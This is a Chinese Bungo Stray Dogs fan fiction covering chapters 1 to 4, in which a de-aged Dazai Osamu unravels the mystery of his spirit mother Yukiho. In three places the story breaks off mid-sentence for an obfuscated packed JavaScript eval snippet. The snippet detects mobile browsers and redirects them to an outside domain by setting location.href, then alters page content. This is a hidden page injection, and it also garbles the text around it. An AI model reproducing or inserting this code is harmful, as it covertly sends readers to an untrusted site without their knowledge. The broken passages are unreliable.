《[文野]非人类养成剧本组日常》 1. 开局一只宰01 冬季的津轻寒冷多雪,漫天飞舞的雪花自空中飘落,落进一双鸢色的眼眸里。 那双鸢色的眼眸如枯叶般静谧,雪花融入他的眼眸里,被融化成一滴水珠,瞬间点亮了他一眨不眨的眼珠。 “津岛少爷,您该回房间休息了。”侍女走上前以强势的姿态挡住了太宰治的视线。 太宰治敛下眼眸,心底嗤笑:【一如既往的令人作呕】。 然后低着头转身向自己的房间走去。 三天前,太宰治在横滨和中原中也一起执行任务的途中,被泛着“神秘光芒”的鹤见川深深吸引。 将一群黑衣大汉的一声声“太宰大人,不要啊,不要”和中原中也的“太宰你这混蛋发什么疯?!”甩在脑后一跃而下。 跃入水中后突然起兴在水中憋气,让心跳停拍,这样等小矮子让人把自己捞起来时就假装被淹死,然后…… 回到了四岁。 一开始太宰治认为是幻觉类的异能力者改变了他周围的环境,但无法解释这个能力怎么直接作用到他的身上,把他变成了四岁的小孩儿。 在这三天里,他把每一个津岛家的人都试探了一遍。 结果令他失望无比,奉承背后的鄙夷,怪物一样虚伪的生活,与所有人格格不入的自己…… 都被太宰收入眼中。 毫无疑问,这就是他可悲童年的生活之地——名为津岛的噩梦之地。 “森先生快点想办法啊啊啊啊,这一定是敌方的异能!”太宰抱着自己的被子在床上滚了好几圈。 “我才不要呆在这个连空气都充斥着腐朽的地方,呕”。 太宰猛地从床上翻起来,扑腾着小短腿在榻前走来走去。 “一定有什么是我忽略了的……”太宰灵光一现,摸了摸脖颈,猛地一敲手,“我的玉石!” 太宰十岁离开津岛家,他只带走了出生时便一直挂在脖子上的一颗玉石。 据说是他母亲的遗物,那颗玉石至他落水时都一直随身带着,但现在不见了。 真奇怪,那颗玉石可是无论如何都不会从他身上‘脱离’的。 不管入水多少次,随身的物品都会被水流冲走,但那颗玉石从来没有离开过他身上,就连刻意丢弃之后也会在下一刻挂回他的脖子上。 简直就像是被怨灵缠上了一样。 唔,明天去查查他所谓的母亲好了,好像是叫什么……津岛雪穗? ———— 万物有灵,世有精魅,所有非人的有灵生物自成一界,名曰:幻想乡。 “雪穗大人!您听我说,我真的钓到您的后代了,绝对是您的血脉,我的鼻子老灵了” 拖沓着一头漂亮的蓝色长发但穿着破烂草衣,戴着草帽,拿着钓竿的“渔夫”大步向前追着一位黑发女子。 她向后一甩袖,“渔夫”便开始原地迈步。 雪穗向上一跃坐在树梢上,在虚空中抓出一把瓜子,一边磕一边笑眯眯地说:“鹤见,你说,我在听呢~” “哎呀,您别不信,绝对是大人您的崽,不是我就再也不钓鱼了。”鹤见把鱼竿往地上一插,开始摸索。 “那我的崽呢?你给丢次元口袋里了?” 雪穗把手上的瓜子壳往空中一扔,再一挥袖给毁尸灭迹,转头对鹤见露出神秘微笑,也把手放袖子里掏了掏“你可想好了说”。 鹤见急得满头大汗,“哎呦大人,我哪儿敢骗您啊,我钓鱼钓得好好的,结果钓上来一小孩儿,迎面就被您的‘气息’吓一大跳,手一抖又给扔出去了,然后那小孩儿就不见了”。 雪穗掏出了一根小树枝,拿在手里把玩,也不说话,眼睛眯了眯。 鹤见一看头都大了,连忙掏兜,大吼一声:“我有证据!” “哦?”雪穗坐在树梢上换了一个姿势,百无聊赖的看鹤见能搞出什么新花样。 琢磨着妖灵的生命还是太长了,一闲就无聊,整天搞些七七八八的,得给他们找点事儿做。 “您请看!这是您家小孩儿身上掉下来的,刻着您烙印的幻想乡钥匙!” 鹤见都快把草衣扒秃了终于扒拉出了一颗玉石。 雪穗立刻坐直了身体,手一抬,将玉石唤了过来,玉石摇摇晃晃飞了过去。 雪穗的眉头皱得死紧,属实没想到鹤见居然不是在设局搞她,毕竟这块玉石里,镌刻着自己用灵魂刻写的幻想乡的道标。 鹤见在原地搓了搓手,“我就说我没骗您吧,钓鱼佬永不空军(震声!)”。 雪穗大感烦躁,又很费解,如果鹤见说的是真的,难道? 天降幼崽,无痛生子?还是? 幻想乡里居然有拉手就能生崽的男妖精吗? 雪穗跳下树梢,让鹤见仔仔细细把“三水泉里钓出自己的幼崽”的事情说了一遍。 然后狠狠揍了他一顿,理由是:既然都认出来了,还敢把我的崽丢回水里! 雪穗拿着玉石回自己的属地解析玉石里的信息。 同时心想:可恶!自己揍过那么多男妖精,都拳拳到肉,别给我抓到是哪个男妖精有摸一下就能生娃的能力! 生了就生了,还敢把崽丢水里! ———— 次日,津轻 天蒙蒙亮,太宰在侍女的催促下起身。 在这个封建腐朽的家族里,人人都带着可笑的面具。 幼时的太宰不明白大人的装模作样,当他提出质疑时便会遭受异样的眼光,仿佛自己是个怪物一般。 太宰只好学着大人的模样带上虚假的面具,依照父亲的要求成为“津岛家的一份子”。 稍有不慎便得到“不如你的几个哥哥”、“这么糟糕的表现怎么配得上我津岛的名姓”这样的评价。 太宰慢吞吞的一件一件穿戴好繁复的礼服,今日有客来访,津岛家的人都得出席。 不过这两天自己因为礼数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869285|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不佳被批评,目前被变相地禁足,应该不太会让自己去接见客人。 太宰抬了抬自己的小胳膊断腿,深深为自己的弱小叹了口气。 他抿了抿嘴,打算先找找那颗玉石,看能不能得到什么信息,如果要呆在津岛家再过一个糟糕的‘童年’,那还不如早日从这个腐朽的世界解脱为妙。 “小少爷,家主大人让您去前厅。”家主派人来传信,“今日来访的客人是您母族之人。” 【巧合?不…】 太宰猛一抬眼,出声应道:“带路。” 刚一出门便被迎面的风雪糊了一脸。 【好冷……】 侍臣往后一步刚好站在太宰身侧挡住了风口。 “家主叮嘱:请小少爷务必礼数周全,您的母族是……”侍臣毕恭毕敬地引路并转达了家主的话。 但太宰反而奇怪侍臣对自己的态度,借着自己年岁小,迈小步落后一点认真打量了一眼这个侍臣。 而侍臣察觉到太宰的步速,竟然主动调整了自己的步调,让太宰走在前面,为他挡住了身后的风雪。 太宰瞟过侍臣的手,是一双干净,指节修长的手,不应该出现在下仆身上的手。 【有趣。】 还没有进入前厅,便听见细碎的说话声。 “唉,雪穗走了四年,我日思夜想,一直放不下她,那孩子和雪穗长得太像了,我怎么敢接到身旁教养呢?” “不过你放心,津岛家教养一个小孩儿还是绰绰有余的。” “修治可是雪穗的孩子,一定……” 太宰放慢脚步仔细听了,却只听见他父亲一人的声音,听他父亲的态度,太宰心中疑惑更甚。 他的母族是这样有权势的家族吗?倒是与他幼时所受的冷遇不符了。 突然,一只手从旁边伸过来捂住了太宰治的耳朵。 太宰一惊,从台阶上往后退了一步,摔进了侍臣的怀里,铺天盖地的暖意将他包围,甚至带来了灼烧般的痛感。 太宰心跳一乱,抬头就撞进了一双深棕色的、盈满了笑意的眼里。 【好熟悉的眼睛…】 侍臣一手捂着太宰的耳朵,一手固定他的身体。 太宰看着侍臣逐渐靠近的头,缓缓瞪大了双眼,心跳逐渐加快。 侍臣靠近他的耳边说:“别听他们说的那些话,都是些垃圾话。”好孩子就不要听啦~ 太宰治从头到脚起了一身鸡皮疙瘩,超级嫌弃地推开侍臣站了起来。 “别靠我这么近,我可没有和男人贴在一起的癖好”。 呼,好险~吓他一大跳,还以为这个不知道哪儿来的人对小孩子有奇怪的癖好== 太宰一边拍拍身上的雪,一边漫不经心地往台阶上走,“对主家不敬可是会被处死的哦~”。 然后头也不回的走了进去。 侍臣站在雪地里,抬头看着太宰走远的背影,轻轻笑了。 2. 开局一只宰02 太宰跨上台阶,细细思索着刚刚听见几句话。 听他父亲的语气,来者是贵客,竟然没有去茶室或会客厅之类的地方专门招待? 说起来,这个津岛家哪怕和记忆里的一模一样,但到处都充满了古怪。 他刚走进前厅,就迅速抬头打量了一圈,他的父亲—作为津岛家的家主,竟然站着与对方交谈。 站在津岛家主对面的是一个穿着雪色和服的男子,手持折扇,戴着的长斗笠遮盖了他的面容,越靠近越能感受到一股冰雪般的寒气。 太宰标准地做完了毫不走心的鞠躬礼,并问好:“父亲、先生,贵安。” 津岛家主笑着将太宰引到‘客人’面前,说着满口虚伪的、赞扬他的话。 太宰垂下眼眸打量着面前的‘贵客’。 ‘客人’站在背光的阴影里,身上的雪色和服用银线绣着各式各样的雪花,一晃眼看过去仿佛是在流动。 【不……不是错觉】 他发现这位‘客人’对阴暗的角落情有独钟,便稍稍侧身调整站立的角度让一缕日光照在了‘客人’的身上,没有任何异常。 ‘客人’转过头来,仿佛发现了什么,主动向前走了一步站在了阳光下。 【哦?是自信不会被我发现什么吗?】 太宰恭敬地站在津岛家主身旁,垂下眼睑仿若认真地聆听着他们的“对话”,实则仔细地观察着目光所及之处。 他很快就发现了破绽。 ‘客人’的影子很奇怪,似乎只有表面的衣袍,戴着白色手套的左手持扇,但袖口与手套中间的手腕处,却是空白的。 太宰低下头笑了。 【很有趣不是吗?突然出现的侍臣,没有影子、没有声音却能和他父亲自然交流的‘贵客’,还有什么惊喜等着我呢?】 他突然燃起了解密的兴趣,这个噩梦般的经历变得有意思起来了。 “修治、修治!”津岛家主大声把太宰从自己的思维中唤醒,“真是太失礼了,月见先生送你的见面礼赶紧接过来啊!” 太宰抬头扬起了一个甜度超标的笑容:“月见先生刚刚在和我说话吗?我没听见呢。” “这孩子…月见先生您别放在心上…北部那块地……。” 津岛家主一把把太宰往后一挡,迫不及待地搓着手向月见先生道歉。 太宰嗤笑一声退回了津岛家主背后的阴影里,也没去看所谓的见面礼是什么。 突然,一只手伸到了他面前,白色的手套中央放着一颗青黛色的玉石。 月见先生蹲在太宰的面前,保持着前倾的姿势,而津岛家主在他们背后,虚握着空气滔滔不绝地说着北方属地的规划。 太宰看着他的父亲如同滑稽的小丑一般,表演着无人可看的戏剧,他扬了扬下巴示意道:“这样没关系吗?” 月见摇了摇头,把手往前递了递。 “我不要”,太宰反而往后退了一步,“我才不收怪叔叔的东西,除非……” 太宰拖长了声音想试探一下月见的反应,但月见只是歪了歪头。 “你把斗笠取下来,我就收下” 太宰作势往前一步想掀开月见的斗笠,月见换了一边歪头避开了太宰的动作,继续把手往前递了递。 “好吧好吧真拿你没办法,那我就勉为其难的收下吧。” 太宰低下头假意伸出左手去拿玉石,却用右手快速握住月见的手套与和服袖子间的空隙,确认了自己的猜测—— 他握了个空。 来访的贵客,在太宰面前,像空气一样消失了。 地上只留下了—一件白色和服、一把折扇、一双手套和一个长斗笠,正好盖在太宰的脚上。 太宰不由得瞪大了双眼,【哇塞,是衣服妖怪!】然后嫌弃的把和服往旁边踢了踢。 “嗯?修治?月见先生呢?你怎么站在门口,你的礼仪都学到……唔……啊月见先生,我们刚聊到哪里了?” 太宰扬起眉头,看见刚刚被踢到一旁的衣服又自己站了起来,走到津岛家主的旁边低头仿佛说了几句,又拿着玉石向他走来。 太宰眸光一闪,主动向前:“啊,不好意思啊月见先生,我刚刚没看清楚”。 再迅速往前一扑触碰到和服的空隙,于是贵客融化在地上…… “修治?你怎么……啊,月见先生……” 在此后的十几分钟里: 贵客站起来了!——太宰不知道从哪儿窜出来摸了一把—— 贵客融化了!——津岛家主迷惑不解—— 贵客又站起来了!——和家主聊起来—— 被太宰摸一把——消失——不解——站起来…… “哈哈哈哈,这么有意思的事情还是上次逗那只蛞蝓”,太宰看着他父亲滑稽的表演笑得直不起腰来。 玩儿了几轮后,他坐到了门口的台阶上,拿着一根树枝悠闲地剐蹭着地上的雪。 另一只手托着下巴说:“这么想‘还’给我为什么不亲自来送呢?” “是被我抓到也会像泡沫一样消散吗?” 凛冽的寒风夹杂着雪花呼啸着,吹起了太宰治额前的碎发,露出了他深渊一般寂静无波的鸢眸。 下一刻,太宰被铺天盖地的温暖糊了一身,有人站在他的背后,将一件斗篷罩在了他身上,连带着他的脑袋都被扣了进去。 一只手隔着斗篷放在了他的头上,轻轻地抚了两下,“那就来玩儿个游戏吧”,背后的人轻声说。 太宰睫毛轻颤,没有避开,问:“什么游戏?” “唔,那就看你能不能在三天之内找到我的身份。” “啊啊,这也太简单了,一点挑战都没有…” “简单?!那就再解出玉石的谜题!” “什么啊…那块石头还有秘密啊?我还以为是哪儿来的牛皮膏药呢~扔都扔不掉……赢了有什么奖励吗?” “我可以满足你的任何愿望,是任何哦~” “真会说大话,你在哄小孩儿吗?” “当然不是啦,一定会实现的!” …… 自那天起,太宰治的生活看似与往常一样,却充满了奇奇怪怪的‘小惊喜’。 约定游戏的第一日。 他的房间变得像独立的世界一样不再受风雪的侵扰,室内突如其来的温暖如春日的阳光一样自然且舒适。 甚至角落的绿植都枯木逢春了一般,反常地长出了新芽。 【就像真的春天一样】 是“神明”还是“妖怪”呢?嘛~不管是什么都是个笨蛋呢。 太宰在房间里弯了弯眼睛,【真是的,不知道这样出门会更冷吗。】 桌上也会出现各种奇奇怪怪的‘食物’,应当是‘食物’吧?总 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下一瞬,如黑夜中骤然炸开的烟花一般,细碎的光芒在窗台上突兀的亮起,一盏黑色的提灯出现在窗台上,闪烁着星光一般柔和梦幻的光芒。 “哦哦!所以是‘许愿机’吗?那我想要超级轻薄好用的绷带!” 太宰猛地从床上坐起来,摆出虔诚的许愿姿势,说出了自己的愿望。 说完也不等任何回应,就蹦跶着跳下床奔向窗台,凑过去观察那盏灯。 普普通通的提灯,却有着浓墨般的深黑,盯久了有一种扭曲的眩晕,里面的光芒是白色偏蓝,在提灯里上下飞舞。 【有点像萤火虫】 太宰托着下巴认真地观察着这盏灯,伸出了一根手指想触碰这黑夜里唯一的光源,却在咫尺之间顿住了。 太宰猛地收回手,转身回到床榻,将自己整个人都埋进了被子里,“太亮啦太亮啦,这还怎么让人睡觉啊!” 突然,太宰感觉到有人戳了戳自己的被子,太宰猛探头出来,却没有看见任何人,然后…… 被从天而降的绷带砸了满头。 太宰呆呆地看着床上的绷带,拿起了一卷,【原来,也有不会消失的东西吗?】 “这还怎么睡觉啊?”太宰看着满床的绷带,心情复杂。 下一瞬,太宰深吸一口气往后一仰,他看见被子上的绷带一卷一卷站立了起来。 太宰小心地避开了它们,看着它们像蚂蚁搬家一样一个接一个爬上了桌子把自己垒得整整齐齐,只剩下了手里这一卷。 【像做梦一样,这次是梦醒了再消失吗?】。 太宰把手里的绷带放在床头,以一种安详的姿势躺下了,表面平静地说:“明天可以见面吗?无论什么样子都行。” 说完就把被子拉上来盖住了脸上的神情,只能看见他紧绷的手指。 一缕风自上而下落在太宰的耳边,顺来温柔的回答声: “当然可以。” 微风卷起他额前的黑色卷发,带着一丝安抚的意味: “睡吧,好梦。” …… 窗台上的提灯暗了一度,里面的光点仍不知疲倦地飞舞着。 夜已深了。 3. 开局一只宰03 翌日一早。 太宰醒来睁开迷蒙的双眼,一转头就看见了桌上垒得整整齐齐的绷带和黑色提灯。 即使是在白天,提灯里的光也不曾暗淡。 “真想拆开看看里面是什么啊。”刚一说完,太宰发现提灯里的光斑跳动得更快了。 【不会吧?是活的?!】 太宰一呲溜滑到桌前,假意拿起了提灯左边的一卷绷带,看见提灯里的小光点全部紧紧靠在了右壁上。 “嗯?” 太宰手往右一划,光点迅速往左边移动,手往左-光往右;手往右-光往左,如此重复了几次。 他几乎是把脸贴在了提灯上,看见里面的小光点开始颤抖,噗嗤一声笑了出来,光点抖得更厉害了。 “小少爷怎么不穿鞋就下床了。”侍女端着水盆进来,手一抖为太宰驱散了周身的寒意。 太宰转过头去,看着侍女将水盆放下,大步靠近自己,一把把自己举了起来。 “你不会是只能借着别人的脸皮才能出现的吃小孩儿的妖怪吧?快放开我!”太宰徒劳地挥了挥手。 “啊拉,小少爷也太可爱了,快让我抱抱。”侍女抱住太宰像吸猫一样贴紧了他蹭了蹭。 “救命!有变态啊—”太宰伸着小短手用力将侍女的脸推开,却在心里想: 【不会真的是撕下来贴上去的脸吧,竟然不会变成原貌吗?】 “总觉得你在想什么失礼的东西。”侍女雪穗把太宰放下,仔细地拧着毛巾给太宰擦脸。 “快点把衣服穿好,外面可冷了,今天有蟹肉大餐哦。” 蟹肉?太宰手里还抓着绷带,转了转眼珠说:“如果不把这么漂亮迷人的绷带缠在我身上,我可是会伤心而亡的哦~” 雪穗接过绷带,比了个OK的手势,说:“一定让少爷满意!”开始为太宰缠绷带。 太宰偏过头,突然牛头不对马嘴的问:“你昨天去了哪里吗?” 妖怪小姐不仅变出来的东西不会消失了,还如此了解他的喜好,这绷带的缠法竟然和自己缠的一模一样。 雪穗顿了一秒,大致揣摩了一下太宰的意思。 继续给他缠起了绷带,回答道:“你的力量无法自控,我当然要想想办法啦。” “自控?【人间失格】的消除技能是被动的哦,竟然可以反制的吗?” 雪穗把太宰治身上的绷带缠好了,正一件一件为他整理着装,“当然可以啦,去隔壁找人帮了个忙。” 半夜偷渡到隔壁用力量提取装置薅了世界之子一大笔羊毛,再在凌晨将好友提着脖子晃起来要求对方制作道具的雪穗毫不心虚。 仿佛昨夜被世界意识和好友联手追着打的不是自己一般。 “酱酱,这就是成果哦~”雪穗从怀里掏出一个手环,献宝似的举到了太宰面前,“带上这个就可以啦。” 太宰拿起手环看了看,问到:“这个可以控制我的异能?” “不是哦,你的力量需要你自己控制,它相当于一个屏蔽器,你带上后可以自由开启,一旦开启,你的能力就会短暂消失,同时也能保护你不受任何伤害。” 雪穗把太宰打扮得整整齐齐,然后拿起一卷绷带问了一句:“脸上需要吗?” 自己控制?太宰随手把玩着手环,手环中央有一颗镶嵌着的蓝色宝石,翻转角度后宝石就变成了青黛色。 太宰闻言把手环往手腕上一扣,抬头反复打量着雪穗,雪穗见状歪了歪头:“怎么了?” 太宰对雪穗甜甜一笑:“不需要捏~” 雪穗深吸一口气,捂着心脏被当场硬控。 太宰起身走出房间,向后摆了摆手,说:“晚上见吧,妖怪小姐。” ———— 津岛家的早课结束后,太宰甩开跟随的仆从,一路溜到了西北角一座废弃的庭院,是他母亲的故居。 斑驳的墙皮,肆意生长的植物,积压的灰尘…… 【津岛家没人来过这个地方吗?简直像是被遗弃了一样,不……或许说,这就是‘遗忘之地’】 太宰一推门,就被迎面扬起的灰尘刺激得低咳了好几声,顺气之后才走了进去。 这几天太宰都在家里打听关于他母亲的事情,但奇怪的是,没有任何有用的消息。 他的父亲只会在询问时说出各种模式化的溢美之词,就像被设定好的程序一般,然后以“你怎么没继承雪穗的半分优秀”结束话题。 在下仆眼中,他的母亲就仿佛从未存在过一样。 或者说有什么古怪的力量遮盖了他母亲的存在,即使是他母亲身边的旧仆,询问时也只是悲伤地叹息一声“雪穗夫人离去得太早了…”而下一秒就遗忘了他们谈论的话题。 神情自然地询问他为何在这里,刚刚提起“雪穗夫人”的难过也仿佛从未出现过。 人是靠记忆而活的生物,太宰在晴空下升起一丝凉意,如果连存在过的痕迹都不曾拥有,那又如何证明她来过? 那么他呢?他又算什么?一时兴起想起来就回来拨弄一下的玩具吗? ‘妖怪小姐’假扮的侍女在廊下站了良久,轻声对太宰说:“你想找雪穗夫人吗?她曾经住在西北角的庭院里,或许你想自己去看看?” 于是太宰来到了这里。 他明明有所猜测,本是不该来的,但他还是来了,怀抱着自己也没有意识到的某种期待来到了这里。 这里是他母亲的故居,太宰明明从未来过这里,却能感受到一阵阵熟悉之意,这里的一花一叶都在试图贴近他的身边。 太宰仔细在房内翻找,各式旧物件还摆放在原来的位置,就仿佛此间的主人刚刚出门,唯有积压的灰尘诉说着主人早已离去多年。 太宰捻磨了一下手环上的宝石,从书架背后抽出了一幅画卷,缓缓展开,凝望了良久,默默说到道:“是我赢了”,面上却不见喜色。 ———— 深夜,太宰提着小提灯翻到窗台上,晃悠着小短腿,迎着寒风望向远处漆黑无光的夜幕。 小提灯里的‘小精灵’看起来没有那么怕他了,太宰的手指戳上去,有淡蓝色的微光隔着玻璃与他相贴。 “有什么意义呢?”太宰语焉不详,但他知道她在听。 雪穗就坐在窗户顶部的雨檐上,只要太宰一抬头就能看见她。 但他始终没有抬头,只是将手指左右晃荡让提灯里的小光点追逐着自己的手指。 “唔,看来是我输了?这才两天,你就有答案了?”雪穗没有直接回答太宰的问题,挥手在太宰头顶放了个看不见的隔绝风雪的防护罩。 她身体前倾想要靠近太宰,却硬生生克制住了自己。 风停了……太宰撇了撇嘴:“破绽太多了,游戏就不好玩儿了。” “破绽?”雪穗直起身来,心知自己的小把戏肯定瞒不过太宰,却依旧嘴硬:“哪儿有破绽?” 太宰却逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869287|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐开始不耐烦,他不想在继续扮演这种过家家一样的角色了。 这种突如其来的感情就像翻涌的淤泥一样令人厌恶,一旦沾染就很难摆脱。 十几年来太宰从未有过如此复杂的情感,他不想做被情绪支配的傀儡,又无力遏制翻涌的思绪,反复的拉扯让他感到十足的恶心。 他狠狠咬了咬牙,直到嘴里的血腥味让他清醒了一瞬,于是他咽下翻腾的情绪,冷静地陈述: “到处都是啊,反复出现的玉石,来自未来的绷带,了如指掌的喜好……最主要的是,你也没想过要在我面前隐藏……” 除此以外,还有方方面面的照顾,细致入微的关怀,怕他猜不到连答案都直接透露给他了…… 这算什么啊?!时隔十六年的愧疚补偿?突发奇想的情感游戏? “答案就不必说了,你我心知肚明的答案没有说出来的意义,玉石是带着我来到这里的原因,这个无聊的游戏就到此为止吧。” 无论是要停留在四岁还是回到十六岁都无所谓了,太宰只想结束这个‘游戏’,回到自己的安全领域。 死者为何要来扰乱活人的心绪呢? 不要再探究、不能再靠近了,太宰想止步于此,不再好奇也抗拒将要发生的一切。 雪穗惊叹于太宰的敏锐,与有荣焉地笑了:“是我家阿治太聪明啦”。 黏糊糊的称呼,太宰干呕一声,从怀里扯出了一张:绷带购买小票… 购买日期在…十年后…… “啊哈哈,失误!失误!我不是故意的!”雪穗决定一会儿就去把跑腿的小妖精胖揍一顿! 所以才不明所以啊,从回到四岁的桩桩件件,都与他的“母亲”有关。 不过最终让太宰肯定自己的猜测的,是那幅画卷。 画卷上一位穿着雪色和服的女性斜靠在窗边的长椅上,微卷的黑色长发懒散地铺着,她一手持书挡住下半张脸,眼睛弯弯,温柔地笑着。 那双笑眸,太宰曾在雪地里见过…… 况且……连“月见先生”的和服也不带换一件的,只是从女款变成了男款,该不会真把自己当四岁小孩儿哄了吧?! ‘死亡’十几年的母亲变成妖怪回来了,为什么呢? 来玩儿三天的‘亲情游戏’再把他丢回十六岁吗? “不是这样的,”雪穗翻下雨檐一把抱住了太宰,“是因为你在这里。” 灼热的体温炙烤着,仿佛自己是烈日下缺水的鱼。 太宰闭了闭眼睛,骗子,如果自己真的是四岁就好了,四岁的他一定会被心甘情愿的哄骗吧。 他内心抗拒又情不自禁抓住了雪穗的衣襟,将头埋进了雪穗的怀里。 就这一秒就好了,太宰闭上了眼睛,仿佛自己已经被四岁的躯壳同化,连情感都变得脆弱起来。 骗小孩儿的人还在低声说话:“阿治,因为你在这里,所以我来了。” “但是很抱歉,是我来得太晚了。” 是跨越时空、超脱生命才来到你面前,所以对不起,是妈妈来得太晚了。 太宰捂着耳朵,不想听所谓的理由,稍微想想都能想出成千上万个虚伪的借口。 但又忍不住想知道,为什么? 为什么要出现? 为什么已经死亡还会出现? 为什么……现在才出现? …… “或许你愿意听妈妈给你讲个睡前故事?” 4. 开局一只宰04 雪穗是时间长廊的守门人,如今也是幻想乡的管理人员之一,她由时空孕育,超脱于时空,与岁月长青。 所以理论上,雪穗是不可能有后代的。 当她从鹤见那里拿回玉石后就一直心神不宁,好像有什么超脱寻常的事情发生了。 雪穗将玉石带回了自己的属地后开始解析玉石里的信息,也就是通过时间的力量回溯玉石中的灵魂记忆,然后—— 融合了所有月见雪穗的记忆,也回忆起了漫天的刀光,刺耳的警铃声与逸散的灵魂…… 飘散溢出的灵魂碎片并没有独立转世的能力。 本该在飘荡中逐渐消散的灵魂,却在转生池与原本残缺的人类灵魂融合转生为了月见雪穗。 月见雪穗每晚会在梦中回忆起部分‘雪穗’的记忆,醒来后又全部遗忘。 她作为一个纯粹的人类,传统的世家小姐,嫁入津岛家后成为津岛雪穗,也就是津岛修治的母亲。 但残缺的灵魂无法孕子,只能以生命为代价续写生命的奇迹。 月见雪穗无法割舍这个孩子,更不想将自己的孩子独自遗留在人间,因此月见雪穗硬生生唤醒了灵魂碎片的力量。 在弥留之际将那一缕灵魂中所有的力量凝聚成一颗小石头,里面刻写了幻想乡的道标。 设置了简单的时空跳跃指令和微弱的保护指令,并命令津轻的所有有灵智的妖精去触碰道标。 道标一旦被妖精触碰受到‘非人类’力量的指引,就能传送到幻想乡,从而让‘本体雪穗’解析获得月见雪穗的记忆。 雪穗从幻想乡离开时能够再次触发信标的标记点跳跃时空,回到月见雪穗凝聚道标的瞬间,以月见雪穗的身份抚养津岛修治长大。 但显然,出了意外。 在整整十六年里,没有任何妖精能够触碰到道标。 玉石里的保护指令要求它不得离开津岛修治半步。 没什么灵智、不太聪明的玉石兢兢业业地‘贴身保护’着津岛修治。 而在修治的异能觉醒之前,津轻的妖精绝大部分被月见雪穗的灵魂力量吓得半死。 因着趋利避害的天性,能跑的跑,能躲的躲,哪里还敢去触碰浑身都被大佬的‘气息’笼罩的津岛修治。 在津岛修治异能觉醒之后,更没有妖精能够近身了。 【人间失格】虽然不会抹除妖精的存在,但也消除了靠近他的妖精的力量,只要玉石在他身上,道标就无法被触发。 况且,即使不是【人间失格】,道标也不会被触发。 有灵智的妖精都住在幻想乡,青森的小妖精大多是初生,不太聪明,判断不出来道标是什么,让它们摸索一百年都不一定能摸对。 它们只能徒劳地在夜晚靠近目标,然后在房间里走来走去、漫无目的地游荡。 就这样,津岛修治独自在寂寞的人间摸爬滚打,跌跌撞撞摸索着向前走了十六年,成为了如今的太宰治。 而现在,信标的时空跳跃链条已经完成了。 三水泉汇聚天下水系,妖精鹤见的诞生之地就在鹤见川。 且他的伴生之物—钓竿具有百分百抓取鹤见川河道里任何物品的能力。 太宰在十六岁跳入鹤见川的瞬间,水流激起的水花让道标与太宰的身体相隔一线。 与此同时鹤见起竿瞬间抓取到道标,触发了第一道传送指令,恰好此时太宰治心跳停拍异能短暂消失被一同捞到了幻想乡。 但下一秒太宰被受惊的鹤见扔回三水泉里,作为未登记且没有通行证的人类,太宰被幻想乡排斥。 幻想乡准备将太宰丢出去的瞬间触发了第二道传送指令: 从幻想乡离开的时候回到过去,但由于太宰逐渐恢复的心跳,力量相抵最终使太宰一睁眼就回到了四岁的时候。 阴差阳错,时间闭环已经完成,四岁太宰所在的时空既是他的过去,也是他的未来。 如今雪穗的记忆融合,又如何能接受她的孩子独自在人间跌跌撞撞成长了十六年呢?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869288|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她作为月见雪穗的年岁对于自己漫长的岁月来说实在太短。 二十几年过眼云烟,但这份情感却淹没了她,独属于母亲对孩子的,厚重深沉的爱。 她甚至——都没来得及抱一抱那个孩子,就将他独自留在了广袤孤寂的人间。 这让她如何能接受? ———— 雪穗迫切地想了解这个孩子的一切,于是走入了时间长廊里。 长廊两侧是密密麻麻的“门”,门上缠绕着发着微光的扭曲线条,每一扇“门”后都是不同的时间与空间。 她不断地推开门,作为旁观者看着太宰的过去、现在和将来,看见了不同时空,不同命运线里的太宰…… 她为太宰颠沛的命运痛心,惶然地伸出手却抓不住他绝望的背影。 看着他戴上一层层的面具用嬉戏打闹伪装自己,也无法阻止他一次次故意弄伤自己…… 他在很努力地活着啊…… 雪穗走进“门”的深处,走到了她的阿治过往的十六年里。 她跟着他走在空无一人的漆黑小巷中,连绵的阴雨穿过雪穗为他撑举的伞,淋湿了他的发丝。 染满鲜血的绷带从雪穗的手中坠落。 她无论如何都抓不住他在死亡中挣扎伸出的手,只能陪着他跌跌撞撞地成长… 雪穗一直都在,陪在他身边,站在他面前,却无法触摸、无人知晓…… 她恍然转身,才发现,自己早已泪流满面。 …… 雪穗在时间长廊里静默良久,低垂的发丝遮盖了她的神情,动作缓慢地掏出了《守门人准则》,一页一页将它焚毁在跳跃的火光里。 “没有人应该走向所谓‘既定的命运’”她现在才明白当年老师在叹息中潜藏的悲哀。 雪穗将《准则》扔在地上,泛黄的书页逐渐变为灰烬。 她的孩子理应走向属于自己的未来,而不是被命运如此戏弄。 命运?没有存在的必要。 5. 开局一只宰05 